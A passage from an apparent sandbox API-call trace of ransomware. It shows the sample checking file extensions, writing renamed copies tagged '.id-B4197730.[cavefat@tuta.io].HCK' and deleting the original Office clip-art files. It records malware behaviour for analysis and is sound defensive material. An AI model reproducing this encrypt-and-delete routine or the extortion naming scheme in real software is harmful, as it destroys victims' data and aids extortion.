(lpString1=".zip", lpString2=".WMF") returned 1 [0179.545] lstrlenW (lpString=".rar") returned 4 [0179.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString=".bz2") returned 4 [0179.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString=".7z") returned 3 [0179.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString=".dbf") returned 4 [0179.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString=".1cd") returned 4 [0179.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString=".jpg") returned 4 [0179.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.546] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.546] lstrlenW (lpString="PH01035U.BMP") returned 12 [0179.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.550] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=32400) returned 1 [0179.550] CloseHandle (hObject=0x370) returned 1 [0179.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp")) returned 0x220 [0179.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.555] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.556] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.565] GetLastError () returned 0x0 [0179.565] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7e90, lpOverlapped=0x0) returned 1 [0179.567] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7ea0, lpOverlapped=0x0) returned 1 [0179.568] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.568] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.568] SetEndOfFile (hFile=0x370) returned 1 [0179.570] CloseHandle (hObject=0x370) returned 1 [0179.571] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.571] SetEndOfFile (hFile=0x2fc) returned 1 [0179.574] CloseHandle (hObject=0x2fc) returned 1 [0179.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp")) returned 1 [0179.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.580] lstrlenW (lpString=".doc") returned 4 [0179.580] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.580] lstrlenW (lpString=".docx") returned 5 [0179.580] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.580] lstrlenW (lpString=".pdf") returned 4 [0179.580] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.580] lstrlenW (lpString=".xls") returned 4 [0179.580] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.580] lstrlenW (lpString=".xlsx") returned 5 [0179.580] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.580] lstrlenW (lpString=".ppt") returned 4 [0179.580] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.580] lstrlenW (lpString=".zip") returned 4 [0179.580] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.580] lstrlenW (lpString=".rar") returned 4 [0179.580] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.580] lstrlenW (lpString=".bz2") returned 4 [0179.580] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.580] lstrlenW (lpString=".7z") returned 3 [0179.580] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.580] lstrlenW (lpString=".dbf") returned 4 [0179.580] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.580] lstrlenW (lpString=".1cd") returned 4 [0179.580] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.580] lstrlenW (lpString=".jpg") returned 4 [0179.580] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.581] lstrlenW (lpString=".doc") returned 4 [0179.581] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString=".docx") returned 5 [0179.581] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.581] lstrlenW (lpString=".pdf") returned 4 [0179.581] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString=".xls") returned 4 [0179.581] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString=".xlsx") returned 5 [0179.581] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.581] lstrlenW (lpString=".ppt") returned 4 [0179.581] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.581] lstrlenW (lpString=".zip") returned 4 [0179.581] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString=".rar") returned 4 [0179.581] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString=".bz2") returned 4 [0179.581] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString=".7z") returned 3 [0179.581] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.581] lstrlenW (lpString=".dbf") returned 4 [0179.581] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.581] lstrlenW (lpString=".1cd") returned 4 [0179.581] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 68 [0179.581] lstrlenW (lpString=".jpg") returned 4 [0179.581] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.581] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.581] lstrlenW (lpString="PH01235U.BMP") returned 12 [0179.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.583] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=32184) returned 1 [0179.583] CloseHandle (hObject=0x370) returned 1 [0179.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp")) returned 0x220 [0179.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.587] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.587] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.591] GetLastError () returned 0x0 [0179.591] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0179.594] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0179.594] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.595] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.595] SetEndOfFile (hFile=0x300) returned 1 [0179.596] CloseHandle (hObject=0x300) returned 1 [0179.598] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.599] SetEndOfFile (hFile=0x370) returned 1 [0179.601] CloseHandle (hObject=0x370) returned 1 [0179.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp")) returned 1 [0179.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.605] lstrlenW (lpString=".doc") returned 4 [0179.605] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".docx") returned 5 [0179.606] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.606] lstrlenW (lpString=".pdf") returned 4 [0179.606] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".xls") returned 4 [0179.606] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".xlsx") returned 5 [0179.606] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.606] lstrlenW (lpString=".ppt") returned 4 [0179.606] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.606] lstrlenW (lpString=".zip") returned 4 [0179.606] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".rar") returned 4 [0179.606] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".bz2") returned 4 [0179.606] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".7z") returned 3 [0179.606] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.606] lstrlenW (lpString=".dbf") returned 4 [0179.606] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.606] lstrlenW (lpString=".1cd") returned 4 [0179.606] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.606] lstrlenW (lpString=".jpg") returned 4 [0179.606] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.606] lstrlenW (lpString=".doc") returned 4 [0179.606] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".docx") returned 5 [0179.606] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.606] lstrlenW (lpString=".pdf") returned 4 [0179.606] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".xls") returned 4 [0179.606] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".xlsx") returned 5 [0179.606] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.606] lstrlenW (lpString=".ppt") returned 4 [0179.606] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.606] lstrlenW (lpString=".zip") returned 4 [0179.606] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".rar") returned 4 [0179.606] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".bz2") returned 4 [0179.606] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.606] lstrlenW (lpString=".7z") returned 3 [0179.606] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.606] lstrlenW (lpString=".dbf") returned 4 [0179.606] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.607] lstrlenW (lpString=".1cd") returned 4 [0179.607] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 68 [0179.607] lstrlenW (lpString=".jpg") returned 4 [0179.607] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.607] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0179.607] lstrlenW (lpString="PH01255G.GIF") returned 12 [0179.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.608] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7765) returned 1 [0179.608] CloseHandle (hObject=0x370) returned 1 [0179.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif")) returned 0x220 [0179.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.610] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.610] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.613] GetLastError () returned 0x0 [0179.613] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1e55, lpOverlapped=0x0) returned 1 [0179.616] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1e60, lpOverlapped=0x0) returned 1 [0179.617] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.617] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.617] SetEndOfFile (hFile=0x2fc) returned 1 [0179.619] CloseHandle (hObject=0x2fc) returned 1 [0179.619] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.619] SetEndOfFile (hFile=0x300) returned 1 [0179.621] CloseHandle (hObject=0x300) returned 1 [0179.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif")) returned 1 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString=".doc") returned 4 [0179.629] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.629] lstrlenW (lpString=".docx") returned 5 [0179.629] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.629] lstrlenW (lpString=".pdf") returned 4 [0179.629] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString=".xls") returned 4 [0179.629] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString=".xlsx") returned 5 [0179.629] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.629] lstrlenW (lpString=".ppt") returned 4 [0179.629] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString=".zip") returned 4 [0179.629] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString=".rar") returned 4 [0179.629] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString=".bz2") returned 4 [0179.629] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.629] lstrlenW (lpString=".7z") returned 3 [0179.629] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString=".dbf") returned 4 [0179.629] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString=".1cd") returned 4 [0179.629] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString=".jpg") returned 4 [0179.629] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString=".doc") returned 4 [0179.629] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.629] lstrlenW (lpString=".docx") returned 5 [0179.629] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.629] lstrlenW (lpString=".pdf") returned 4 [0179.629] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString=".xls") returned 4 [0179.629] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString=".xlsx") returned 5 [0179.629] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.629] lstrlenW (lpString=".ppt") returned 4 [0179.629] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.629] lstrlenW (lpString=".zip") returned 4 [0179.629] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.629] lstrlenW (lpString=".rar") returned 4 [0179.630] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.630] lstrlenW (lpString=".bz2") returned 4 [0179.630] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.630] lstrlenW (lpString=".7z") returned 3 [0179.630] 